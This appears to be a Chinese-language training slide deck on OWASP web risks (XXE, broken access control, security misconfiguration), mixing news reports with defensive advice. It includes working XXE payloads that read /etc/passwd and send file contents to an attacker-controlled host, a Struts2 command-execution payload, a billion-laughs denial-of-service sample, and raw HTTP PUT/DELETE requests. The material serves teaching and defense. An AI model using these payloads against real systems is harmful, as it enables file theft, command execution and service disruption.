(資料參考：資安人雜誌第 87 期 - 打造個資大盜痛恨的企業網站)

# 防護建議(cont.)

## ✓ For encryption keys

– 別在程式裡寫入加密金鑰或資料庫的存取資訊


## ✓ For configuration store

– 內容加密

➤ .NET : Aspnet\_setreg.exe

<https://support.microsoft.com/en-us/help/329290/how-to-use-the-asp.net-utility-to-encrypt-credentials-and-session-stat>

– 存取權限控管




## A4 - XML External Entities(XXE)

# XML External Entities(XXE)

➤ 攻擊者在XML External Entity所參考的內容中輸入自訂的字串以達到攻擊目標：

- ✓ extract data
- ✓ execute a remote request
- ✓ scan internal systems
- ✓ perform a denial-of-service attack



*the server where the parser is located*

libxml2	PHP	Java	.NET
file	file	http	file
http	http	https	http
ftp	ftp	ftp	https
	php	file	ftp
	compress.zlib	jar	
	compress.bzip2	netdoc	
	data	mailto	
	glob	gopher	*
	phar		

[security.tencent.com](http://security.tencent.com)

<https://images2017.cnblogs.com/blog/1205477/201707/1205477-20170729141612957-759004042.png>

## 2014.12 Facebook !

**XXE BUG PATCHED IN FACEBOOK CAREERS THIRD-PARTY SERVICE**

by Michael Mimoso [Follow @mike\\_mimoso](#) December 30, 2014, 3:06 pm

A vulnerability was discovered and patched in a third-party service that handles resumes on Facebook's careers page.

The discovery was worth more than \$6,000 in a bounty paid out by Facebook to researcher Mohamed Ramadan of Egypt, who published some details of the vulnerability and exploit on his [website](#).

Ramadan said the vulnerability is a blind XXE (XML External Entity) Out of Band bug. It allowed him to upload a .docx file to the careers page with some additional code that was not vetted by the third-party service.

Facebook has tackled XXE bugs before. In January, it paid out a \$33,500 bounty to a Brazilian researcher who found a [XXE vulnerability in Facebook's Forgot Your Password service](#). He reported the XXE bug and asked Facebook for permission to escalate it to a remote code execution flaw. Facebook quickly patched, but Silva shared his potential exploit with the Facebook security team which decided it merited a major bounty.

<https://threatpost.com/xxe-bug-patched-in-facebook-careers-third-party-service/110151/>

新聞

## Nike旗下網站被爆有漏洞遲未修補，可能外洩密碼等敏感資訊

由於回報三個月仍未獲得回應，研究人員遂向媒體揭露Nike旗下的MyNikeTeam.com存在XML外部實體攻擊漏洞，可讓駭客存取伺服器上的密碼等機密資訊，遠端執行程式碼或存取Nike內部其他系統、資料庫。

文/ 林妍潔 | 2018-03-07 發表

2018.3

✓ 讀 4.8 萬 按讚加入 iThome 粉絲團

1 證 27 分享

G+



示意圖，與新聞事件無關。

安全研究人員Corben Leo發現Nike旗下MyNikeTeam.com網站存在一個XML外部實體 (Out-of-band XML external entities, OOB-XXE) 攻擊漏洞，出現在網站解析XML檔案的過程中，可能曝露伺服器上包括密碼等機密資訊，進而讓駭客發動遠端程式碼執行，或存取Nike內部網路上其他重要系統或資料庫。Leo撰寫了10幾行Python程式碼，即得以從Nike.com子網域將伺服器資料傳送到他設立的外部FTP伺服器。



你和其他 15 位朋友都說這個讚



2018.3  
Microsoft !

新聞

## 微軟「遠端協助」有漏洞，恐使用戶資料不保

趨勢科技的安全人員發現微軟的「遠端協助」存在XXE漏洞，駭客可發送惡意的遠端協助邀請，被邀者以為可幫人解決IT問題，卻不知道包含用戶名稱及密碼的特定log或config檔已被回傳至攻擊者控制的伺服器。

文/ 林妍潔 | 2018-03-22 發表

✓ 讀 4.8 萬 按讚加入iThome粉絲團

117 分享

G+

← Windows Remote Assistance

Do you want to ask for or offer help?

Windows Remote Assistance connects two computers  
problems on the other person's computer.

→ Invite someone you trust to help you

Your helper can view your screen and share control of your computer.

→ Help someone who has invited you

Respond to a request for assistance from another person.

圖片來源: 趨勢科技

IBM



安全業者發現微軟遠端協助 (remote assistance) 存在一項漏洞，可能導致用戶電腦敏感資訊被竊取。

# XML Basic

<https://www.cnblogs.com/r00tuser/p/7255939.html>

## ➤ DTD 内部宣告

```
<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>
```

## ➤ DTD 外部宣告

```
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>
```

Note.dtd

```
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to      (#PCDATA)>
<!ELEMENT from    (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body    (#PCDATA)>
```

# XML Basic

<https://www.cnblogs.com/r00tuser/p/7255939.html>

➤ DTD 裡面的實體(ENTITY)又有分“內部參考”與“外部參考”

✓ 內部實體宣告

```
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>

<test>&writer;&copyright;</test>
```

✓ 外部實體宣告

```
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>

<author>&writer;&copyright;</author>
```

# Attack Samples

## ➤ Sample1: 讀取機敏資料

```
root@kali:/usr/local/nginx/html# cat testXML.php
<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
    <! ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe; </x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
```

The screenshot shows a web browser window with the URL `192.168.1.102/testXML.php`. The page content displays a large amount of XML data representing system information. The XML structure includes elements like `/bin/sync`, `games:x:5:60:games:/usr/games:/bin/sh`, `man:x:6:12:man:/uucp:/bin/sh`, `proxy:x:13:13:proxy:/bin:/bin/sh`, `www-data:x:33:33:www-data:/var/www:/bin/sh`, and `gnat:x:100:100:gnat:/var/cache/gnat:/bin/sh`. A menu bar at the top of the page includes `File Edit View Help`. Below the menu, the XML data is presented as a list of numbered items, each corresponding to one of the listed system entries.

```
1 SimpleXMLElement Object
2 (
3     [xxe] => SimpleXMLElement Object
4         (
5             [xxe] => root:x:0:0:root:/root:/bin/bash
6             daemon:x:1:1:daemon:/usr/sbin:/bin/sh
7             bin:x:2:2:bin:/bin:/bin/sh
8             sys:x:3:3:sys:/dev:/bin/sh
9             sync:x:4:65534:sync:/bin:/bin-sync
10            games:x:5:60:games:/usr/games:/bin/sh
11            man:x:6:12:man:/var/cache/man:/bin/sh
```

<https://www.cnblogs.com/r00tuser/p/7255939.html>

```
root@kali:/usr/local/nginx/html# cat testXML6.php
<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/issue">
    <!ENTITY % dtd SYSTEM "http://192.168.1.122/evil.dtd">
%dtd;
%send;
]>
EOF;
$data = simplexml_load_string($xml);
#print_r($data);
?>
```

security.tencent.com

```
evil.dtd
1 <!ENTITY % all
2 "<!ENTITY %> send SYSTEM 'http://192.168.1.122/?%file;'">
3 >
4 %all;
```

security.tencent.com

192.168.1.102/testXML6.php

Warning: simplexml\_load\_string(): http://192.168.1.122/?S2FsaSBHTlUvTGludXggMS4wLjYgXG4gXGwKCg==:1: parser error : internal error in /usr/local/nginx/html/testXML6.php on line 11

Warning: simplexml\_load\_string(): <html> in /usr/local/nginx/html/testXML6.php on line 11

\*eth0 [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)]

No.	Time	Source	Destination	Protocol	Length	Info
11	2.711402000	192.168.1.102	192.168.1.122	HTTP	89	GET /evil.dtd HTTP/1.0
12	2.712264000	192.168.1.122	192.168.1.102	HTTP	400	HTTP/1.1 200 OK (application/octet-stream)
22	2.914413000	192.168.1.102	192.168.1.122	HTTP	89	GET /?S2FsaSBHTlUvTGludXggMS4wLjYgXG4gXGwKCg== HTTP/1.0
25	2.915418000	192.168.1.122	192.168.1.102	HTTP	66	HTTP/1.1 200 OK (text/html)

security.tencent.com

## ➤ Sample2: 執行系統指令 → 攻擊內網

```
root@kali:/usr/local/nginx/html# cat testXML4.php
<?php
$xml=<<<EOF
<?xml version="1.0"?
<!DOCTYPE ANY [
    <! ENTITY xxe SYSTEM "expect:// id">
]>
<x>&xxe; </x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
```

```
root@kali:/usr/local/nginx/html# cat testXML3.php
```

```
<?php
$xml=<<<EOF
<?xml version="1.0"?
<!DOCTYPE ANY [
    <! ENTITY xxe SYSTEM "http://192.168.1.122:8080/struts2-blank/
example/HelloWorld.action?redirect:$%7b%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5b%5d%7b' whoami'. '%7d%29%29.star
t%28%29, %23b%3d%23a.getInputStream%28%29, %23c%3dnew%20java.io.InputStreamReader%28%23b%29, %23d%3dnew%20java.io.BufferedReader%28%23c%29, %2
3e%3dnew%20char%5b20%5d, %23d.read%28%23e%29, %23matt%3d%23context.getWriter%28%29.com.opensymphony.xwork2.dispatcher.HttpServletResponse%29, %23matt.getWriter%28%29.flush%28%29, %23matt.getWriter%28%29.close%28%29%7d">
]>
<x>&xxe; </x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
```

## ➤ Sample3: 阻絕服務

### “Billion laughs attack”



```
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ELEMENT lolz (#PCDATA)>
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```

[https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTYIgdcllh7r08siA60C2RfWeporLJY7tYGJbpRI04XAXX\\_BEaW](https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTYIgdcllh7r08siA60C2RfWeporLJY7tYGJbpRI04XAXX_BEaW)

# 有風險的狀況

## ➤ 應用程式本身設計

- ✓ 接收XML Input
- ✓ 或是XML中參考外部DTD (使用者/攻擊者可操控)。

## ➤ 應用程式所使用之其他底層協定(protocol) 滿足上述條件

- ✓ Web Services → SOAP (<1.2 → Vulnerable)
- ✓ SSO → SAML

– “The Security Assertion Markup Language (SAML), is an open standard that allows security credentials to be shared by multiple computers across a network.” (Reference:

<https://www.csionline.com/article/3232355/authentication/what-is-saml-what-is-it-used-for-and-how-does-it-work.html>)



讚

## ➤ Disable DTD

✓ 不同程式語言之Parser的設定不同，請參考：

- [https://www.owasp.org/index.php/XML\\_External\\_Entity\\_\(XXE\)\\_Prevention\\_Cheat\\_Sheet](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet)
- .NET Sample:

```
XmlTextReader reader = new XmlTextReader(stream);
reader.DtdProcessing = DtdProcessing.Prohibit; // NEEDED because the default is Parse!!
```

✓ 如果不能完全關閉參照外部DTD，至少disable：

- External DOCTYPE
- External ENTITY


## ➤ 其他

✓ 使用最新版的XML Parser

✓ 白名單限制

- 格式、長度、內容...

➤ 限縮程式執行權限



## A5 - Broken Access Control

# Missing Function Level Access

➤ 某些機敏性的網頁因為沒有做好權限控制，使得攻擊者可透過網址直接存取。

- ✓ Web Server設定
- ✓ AP控制
- ✓ 開發者埋後門

# 做不好，也很容易上新聞 !!!

## 開放肺結核個資 網搜曝光 (2007/11)

〔記者何玉華、胡清暉、蔡以倫、黃立翔／台北報導〕衛生署疾病管制局自九月一日起限制傳染性肺結核患者搭機，卻驚傳列管的九百五十三人可透過Google在網站上搜尋，只要輸入患者名字即可查到身分證字號、居住縣市、就醫日期，嚴重危及患者隱私。疾管局昨晚接獲消息之後，鄭重對外道歉，強調系統設計確有瑕疵，將追究相關責任，若民眾權益受損，會負起相關責任。

衛生署官員表示，台北縣衛生局昨天在網站公布一名板橋地檢署檢察官罹患開放性肺結核，由於新聞稿內說明患者年齡、在土城租屋等基本資料，北縣記者循線查到這名檢察官的姓名，並在網站搜尋，竟然意外發現透過Google就可以查到。發言人得知後，表示不能理解：「這麼重要的資料能得到？」



衛生署  
患個資  
有密碼  
核病患  
經馬賽  
閉。


### 善用標籤語法 避免資料被搜出

〔記者蔡以倫／台北報導〕針對疾管局結核病查詢系統發生個資洩漏問題，曾經幫財政部等政府機構規劃系統的寶賀資訊總經理楊寶舜建議，Google Robot（機器人，或稱為網路蜘蛛）搜尋能力極強，但是也並非沒有抵擋的方式，只要在程式內正確建立 Robots.txt 與標籤語法（一種標記式的程式），網路蜘蛛便會「禮貌」地不作搜尋，並移除網頁快取的相關網頁資料。

楊寶舜也說，目前一般政府機構電腦資料庫，大多採用 Three-Tier（三層式）的資料庫結構，規劃時須注意各層次間的安全性，尤其要注意將後台管理程式設於組織內部網段，避免 Google 搜尋程式可從外部搜尋。

其次，網頁的帳號與密碼也應該考量周延性，以徹底達到管制資料的目的，避免「正門」管制嚴密，資料卻從「側門」漏出。

# “理想上”的網站瀏覽控制



# 攻擊方 → Forceful Browsing

- 檢視HTML原始碼來找尋隱藏的URL
- 猜測特殊功能頁面
  - ✓ adduser/deluser、showprofile/editprofile、...
- 猜測副檔名來存取特殊檔案
  - ✓ 備份檔：.bak、.old、.tmp、\*~
  - ✓ 設定或資料檔：.inc、.cfg、.log、.mdb、.xls、.sql
  - ✓ 壓縮檔：.tar、.zip、.rar、.tgz

# 配合 Google Hacking

The screenshot shows a Google search results page with the query "inurl:admin". The results list several websites that contain the "admin" directory or file in their URLs, such as the Django documentation, a blog entry about LifeType Admin, and various web administration tools.

Google search results for "inurl:admin":

- Django | The Django admin site | Django documentation - [ 翻譯此頁 ]  
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.  
docs.djangoproject.com/en/dev/ref/contrib/admin/ - 頁庫存檔 - 資料內容
- Admin - 資訊藝術家  
www.info-artist.net/wp-admin/
- LifeType Admin - [ 翻譯此頁 ]  
LifeType Admin. 登入. 歡迎使用LifeType ! 使用者名稱. 使用者密碼. 忘記密碼?  
blog.lib.nchu.edu.tw/lifetype/admin.php - 頁庫存檔 - 資料內容
- Mani Admin Plug-in - [ 翻譯此頁 ]  
The homepage of Mani Admin Plug-in - a feature rich menu driven server administration tool for games based on the Source Engine from Valve.  
www.mani-admin-plugin.com/ - 英國 - 資料內容
- admin的个人空间--电影派-影视信息分享平台\_电影网\_2010年最新电影推荐... - [ 轉為繁體網頁 ]  
电影派-影视信息分享平台。2010年11月好看的电影,2010年11月好莱坞最新电影推荐,2010年10月华语最新片列表,我们是热爱电影的一群人,我们愿与大家共同分享电影带给 ...  
www.moviepub.net/profile.asp?UserName=admin - 中華人民共和國 - 頁庫存檔
- 管理员登录 - [ 轉為繁體網頁 ]  
良精软件科技企业公司网站管理系统. 管理员登录. 用户名称: . 用户密码: . 验证码: , 请在左边输入. 良精软件科技有限公司 Tel:010-81991660 QQ:65961930 用户名admin ...  
admin.asp99.cn/web22/admin/login.asp - 頁庫存檔
- 新網頁1 - [ 轉為繁體網頁 ]  
民宿中英文名稱△, 狀態△, 電話及傳真, 中英文地址△, 房間數△, E-mail, 停業日期△, 參考房價, 網站: 1, 惠園民宿(003), 營業中, 電話: ...  
admin.taiwan.net.tw/hotel/h\_house.asp - 頁庫存檔 - 資料內容
- [部落格] facebook、google、Yahoo或MSN Live的好友也能與你悄悄話囉... - [ 轉為繁體網頁 ]  
2010年11月18日 ... 親愛的會員大家好,有些外站的朋友來看自己的部落格,想要留悄悄話迴響又怕看不到版主回覆,是不是很困擾呢?在開放Google、gamebase、Yahoo帳號可以登 ...  
admin.pixnet.net/blog/post/27617557 - 頁庫存檔 - 資料內容

# 後端管理網頁的安全...

➤ 通常安全防護做得比前端網站更差

✓ 錯誤認知 + 無人監督

- 以為你不知道 .....
- 內網存取 → No SSL
- 只有少數內部人員使用
  - → 容易被猜到的帳號或密碼
  - → No/Bad authorization
  - → No Log
  - Demo → .....

# 防護建議

- 心態：先假設攻擊者知道所有的機敏資料位置
  - ✓ 後端管理網頁URL
  - ✓ 重要參數檔位置
- 防止重要檔案被直接存取(@Web Server)
  - ✓ 確實關閉目錄瀏覽功能
  - ✓ 設定阻擋不必要的附檔名之存取權限
  - ✓ 不要將原始碼相關檔案置放於網站範圍之下
    - 不要在營運主機上修改程式！
    - 不要壓縮打包備份在目錄下!!!!

# 防護建議(cont.)



## ➤ 防止重要網頁被直接存取

- ✓ 使用不易被猜測的URL(治標)
- ✓ 限制存取身份和權限
  - 注意管理者有沒有修改預設密碼?有沒有使用強密碼?
  - 檢查登錄使用者的身份符不符合正確的權限

讚

## ✓ 限制存取來源IP

## ➤ Secure Default

- ✓ 網站設計就先想好存取控管規則
  - Role Based
- ✓ 系統安裝(或是啟動)完畢後，立即設定好基本規則。

# Insecure Direct Object Reference

- 攻擊者利用Web應用程式本身的“物件存取功能”任意讀取不該檢視的檔案
  - ✓ <http://www.xxx.com/showPage.aspx?page=main.aspx>
  - ✓ 物件種類：
    - 圖片
    - 文件
    - 網頁 ...

**Demo → ....**

# 系統重要檔案直接讀走

<https://www.mobile01.com/topicdetail.php?f=687&t=3722701&p=1>

The screenshot shows a dual-monitor setup. The left monitor displays a Microsoft Internet Explorer window titled "QwikiWiki - ..//..//..//..//etc/passwd - Microsoft Internet Explorer". The page content lists various system users and their home directories:

```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin/nologin
daemon:x:2:2:daemon:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
```

The right monitor displays a Chrome browser window titled "ETC專區 - 遠通電收越來". The main content area shows a blog post by "zhung 樓主" with the following text:

大概前一陣子亂扯被駭客入侵，現在網站漏洞被抓到，linux的passwd檔被po出來  
現在應該停機中了...

<http://pastebin.com/mGk2bpXx>

這篇人真多@@"

看了全部的留言後，整理了一下目前流出來的資料，這事可大可小，要看那個cracker做到什麼程度  
感謝199樓oarpvfpre提供  
不得不說遠通電收實在是貼心，除了可以讓你看任意檔案的內容  
還內建listDir讓你可以看每個目錄底下有什麼檔案  
各位就不用辛苦地再去猜檔案了...

資料來源：<http://pastebin.com/xxxVvsCk>  
# [http://www.fetc.net.tw/portal/front/\\_listDir?  
admin=buck&DirId=624940165493939446c265871f964265&path=..//..//..//lpr\\_database](http://www.fetc.net.tw/portal/front/_listDir?admin=buck&DirId=624940165493939446c265871f964265&path=..//..//..//lpr_database)

..  
bin/  
fetc.conf  
lpr\_data\_img/  
lpr\_data\_done/  
lpr\_data\_missed/  
lpr\_data\_manual/

The right side of the Chrome window features several vertical banners:

- 208HP駕馭動力 AWD智慧型四輪驅動
- HiNet光世代 300M 驚爆價\$1199
- Acer 電競筆電 英雄無懼效能無限 Acer復仇者聯盟特別版 筆記型電腦系列
- 小惡魔廣編特輯
- 宏佳騰ELITE車友騎聚日月潭，亮點與彩蛋超級多！ 宏佳騰照顧車友的不遺餘力，本次召集全台ELITE車主加入車聚活動，藝人陳為民也到場助陣喔！
- HUAWEI P20 | P20 Pro
- 【HUAWEI P20|P20 Pro】攝影擂台賽 手機也能拍出大師級作品！

# 防護建議

➤ 原則：確保使用者的輸入字串不會變成後端存取檔案(或資源)時名稱的一部分。

讚

➤ 最佳解法：index value or a reference map

✓ <http://www.example.com/application?file=1>

✓ 在後端：1 → “function\_AddUser.aspx”

➤ 其他：

✓ 拒絕具有攻擊特徵(如 Null byte)的使用者輸入字串


– 這樣的檢查應該在資料Decoded之後

✓ 確認輸入的檔案路徑位在所允許的合理範圍內

– Java : `java.io.File` → `getCanonicalPath()`

– ASP.NET : `System.IO.Path.GetFullPath()`

✓ 權限管理！



## A6 - Security Misconfiguration


# Web Server

- 關閉支援不影響正常維運的 HTTP Method

名稱	主要意義
<b>GET</b>	取得後端資源
<b>POST</b>	送出資料至後端網頁(程式)
<b>CONNECT</b>	進行連線(→proxy)
<b>HEAD</b>	僅取得回訊的 Header 內容
<b>OPTIONS</b>	列出伺服器支援的Method
<b>TRACE</b>	取得到後端主機的中間交通資訊
<b>PUT</b>	送出檔案至伺服器上
<b>DELETE</b>	刪除伺服器上之檔案

## ✓ HEAD

- Banner grabbing by telnet
- Sending “HEAD / HTTP/1.0” to www.hinet.net port 80



```
HTTP/1.1 200 OK
Date: Tue, 03 Nov 2009 03:30:56 GMT
Server: Apache/2.0.63 <Unix>
Last-Modified: Tue, 03 Nov 2009 00:57:24 GMT
Accept-Ranges: bytes
Content-Length: 9627
Cache-Control: max-age=3600
Expires: Tue, 03 Nov 2009 03:30:56 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

遺失與主機的連線。
C:\Documents and Settings\fredweng>
```

## ✓ OPTIONS

host: www.d[REDACTED]com.tw  
port: 80  use SSL

request


raw headers hex

OPTIONS / HTTP/1.0  
Host:www.d[REDACTED]com.tw

response

raw headers hex

HTTP/1.0 200 OK  
Server: Microsoft-IIS/5.0  
Date: Thu, 07 Jan 2010 02:39:58 GMT  
MS-Author-Via: DAV  
Content-Length: 0  
Accept-Ranges: none  
DASL: <DAV:sql>  
DAV: 1, 2  
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH  
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK  
Cache-Control: private



## ✓ PUT


```
PUT /test.htm HTTP/1.1  
Host: xxx.xxx.com.tw  
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)  
Accept-Language: en-us  
Connection: Keep-Alive  
Content-type: text/html  
Content-Length: 40  
  
<html><body><h1>stipt</h1></body></html>
```

```
HTTP/1.1 201 Created  
Date: Mon, 27 Jul 2009 12:28:53 GMT  
Server: Apache/2.2.14 (Win32)  
Content-type: text/html  
Content-length: 30  
Connection: Closed  
  
<html>  
<body>  
<h1>The file was created.</h1>  
</body>  
</html>
```

## ✓ DELETE

```
DELETE /test.htm HTTP/1.1  
Host: xxx.xxx.com.tw  
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)  
Accept-Language: en-us  
Connection: Keep-Alive
```

```
HTTP/1.1 200 OK  
Date: Mon, 27 Jul 2009 12:28:53 GMT  
Server: Apache/2.2.14 (Win32)  
Content-type: text/html  
Content-length: 30  
Connection: Closed  
  
<html>  
<body>  
<h1>URL deleted.</h1>  
</body>  
</html>
```



## ➤ 客製 500 Status Code 錯誤畫面

### ✓ HTTP Response: Status Code

- 200 - OK
- 301 - Moved Permanently (Redirect)
- 302 - Moved Temporarily(Found)(Redirect)
- 304 - Not Modified (for Cache)
- 400 - Bad Request
- 401 - Unauthorized (Authorization Required)
- 403 - Forbidden
- 404 - Not Found
- 500 - Internal Server Error ← 要客製處理！





## ➤ 客製 Framework 預設錯誤畫面

### ✓ .NET → web.config

```
<customErrors mode="On|Off|RemoteOnly"
    defaultRedirect="error.html">
    <error statusCode="500" redirect="err500.aspx"/>
    <error statusCode="404" redirect="notHere.aspx"/>
    <error statusCode="403" redirect="notAuthz.aspx"/>
</customErrors>
```


### ✓ Java → web.xml

[https://msdn.microsoft.com/zh-tw/library/h0hfz6fc\(v=vs.100\).aspx](https://msdn.microsoft.com/zh-tw/library/h0hfz6fc(v=vs.100).aspx)

```
<error-page>
    <exception-type>UnhandledException</exception-type>
    <location>GenericError.jsp</location>
</error-page>

<error-page>
    <error-code>500</error-code>
    <location>err500.jsp</location>
</error-page>
```

## ➤ .NET: 關閉對外直接輸出技術錯誤訊息



```
<configuration>
    <!-- forms based authentication -->
    <system.web>
        <compilation debug="false">
            <compilers>
                <compiler language="c#" type="Mi
            <assemblies>
                <add assembly="corlib, Version
        </compilation>
```

軟體上線必須  
= false

(回歸成預設值)

## ➤ 關閉Directory Listing

Index of /etc/passwd				
Name	Last modified	Size	Description	
<a href="#">Parent Directory</a>	31-Jul-2003 12:36	-		
<a href="#">AT-admin.cgi</a>	31-Jul-2003 12:55	2k		
<a href="#">Count.cgi</a>	31-Jul-2003 12:55	3k		
<a href="#">CrazyWWWBoard.cgi</a>	31-Jul-2003 12:55	3k		
<a href="#">Search.pl</a>	31-Jul-2003 12:55	9k		
<a href="#">WSFTP.LOG</a>	31-Jul-2003 12:55	309k		
<a href="#">YaBB.pl</a>	31-Jul-2003 12:55	5k		
<a href="#">vti_inf.html</a>	31-Jul-2003 13:06	1k		
<a href="#">access.log</a>	31-Jul-2003 12:55	141k		
<a href="#">accounts.txt</a>	31-Jul-2003 12:55	22k		
<a href="#">admin.db</a>	31-Jul-2003 12:55	51k		
<a href="#">administrators.pwd</a>	31-Jul-2003 12:55	1k		
<a href="#">administrators.pwd...&gt;</a>	31-Jul-2003 12:55	2k		
<a href="#">adpassword.txt</a>	31-Jul-2003 13:07	1k		
<a href="#">master.passwd</a>	31-Jul-2003 12:55	9k		
<a href="#">msadcs.dll</a>	31-Jul-2003 12:55	63k		
<a href="#">mysql.class</a>	31-Jul-2003 12:55	1k		
<a href="#">order.log</a>	31-Jul-2003 12:55	3k		
<a href="#">passlist.txt</a>	01-Jul-2003 12:55	2k		
<a href="#">passwd</a>	31-Jul-2003 12:55	2k		
<a href="#">passwd.txt</a>	31-Jul-2003 12:55	1k		
<a href="#">password</a>	31-Jul-2003 12:55	1k		
<a href="#">password.txt</a>	31-Jul-2003 13:11	1k		
<a href="#">people.lst</a>	31-Jul-2003 12:55	16k		
<a href="#">perl</a>	31-Jul-2003 12:55	471k		
<a href="#">print.cgi</a>	31-Jul-2003 12:55	10k		
<a href="#">pwd.dat</a>	31-Jul-2003 12:55	2k		
<a href="#">pwd.db</a>	31-Jul-2003 12:55	78k		
<a href="#">redirect.cgi</a>	31-Jul-2003 12:55	1k		
<a href="#">root</a>	31-Jul-2003 12:55	0k		
<a href="#">secring.bak</a>	31-Jul-2003 12:55	5k		
<a href="#">sendmail.inc</a>	31-Jul-2003 12:55	4k		
<a href="#">service.pwd</a>	31-Jul-2003 12:55	9k		



## ➤ 關閉支援 Renegotiation

C-SSL-DOS is a tool to verify the performance of SSL.

Establishing a secure SSL connection requires 15x more processing power on the server than on the client.

**C-SSL-DOS exploits this asymmetric property by overloading the server and knocking it off the Internet.**

This problem affects all SSL implementations today. The vendors are aware of this problem since 2003 and the topic has been widely discussed.

This attack further exploits the SSL secure Renegotiation feature to trigger thousands of renegotiations via single TCP connection.

**Download:**

Windows binary: [c-ssl-dos-1.4-win-bin.zip](#)

Unix Source : [c-ssl-dos-1.4.tar.gz](#)

Use "./configure; make all install" to build.

**Usage:**

```
./c-ssl-dos 127.0.0.1 443
Handshakes 0 [0.00 h/s], 0 Conn, 0 Err
Secure Renegotiation support: yes
Handshakes 0 [0.00 h/s], 97 Conn, 0 Err
Handshakes 68 [67.39 h/s], 97 Conn, 0 Err
Handshakes 148 [79.91 h/s], 97 Conn, 0 Err
Handshakes 228 [80.32 h/s], 100 Conn, 0 Err
Handshakes 308 [80.62 h/s], 100 Conn, 0 Err
Handshakes 390 [81.10 h/s], 100 Conn, 0 Err
Handshakes 470 [80.24 h/s], 100 Conn, 0 Err
```



科 技 新 報

名人堂 手機 平板電腦 網路 零組件 尖端科技 能源科技 科技看電影 推薦書摘 投資 SELECTS 人力資源

## CVE-2014-3566

### SSL 3.0 協議安全又出問題，Google 打算徹底拋棄它

作者 Pingwest | 發布日期 2014 年 10 月 15 日 | 分類 網路, 資訊安全

根據 Google 安全部落格上的消息，這次新發現的 SSL 設計缺陷，讓攻擊者可以通過特定的手法獲取客戶端和伺服器之間的加密數據，需要加密傳輸的很多是涉及到用戶隱私，例如帳號、密碼之類的敏感訊息。具體來說，已經有差不多 15 年歷史之久的 SSL 3.0 協議已經足夠老了，它的繼任者 TLS（傳輸層安全協議）雖然可以實現和 SSL 類似的功能，但出於使用者體驗方面的考慮，很多服務會選擇向下相容 SSL，而這恰恰就給攻擊者留下了可乘之機。

現在，即使一個客戶端和伺服器都支援 TLS，但為了解決 HTTPS 伺服器端互操作性的 bug，很多客戶端還是會通過協議降級的方式使用 SSL 3.0。這樣以來攻擊者就可以用觸發失敗連接的方式啟動 SSL 3.0 協議，接著自然也可以利用 SSL 3.0 中的漏洞了。

Google 的三位員工在發現這其中的問題後建議大家在客戶端和伺服器上禁用 SSL 3.0 安全協議，這樣一來雙方之間的通信將被迫通過 TLS 進行，攻擊者自然就沒法利用 SSL 3.0 協議中的設計缺陷了。

# SSL設定建議

- 協定越新越好
  - ✓ 使用 TLS v1.2
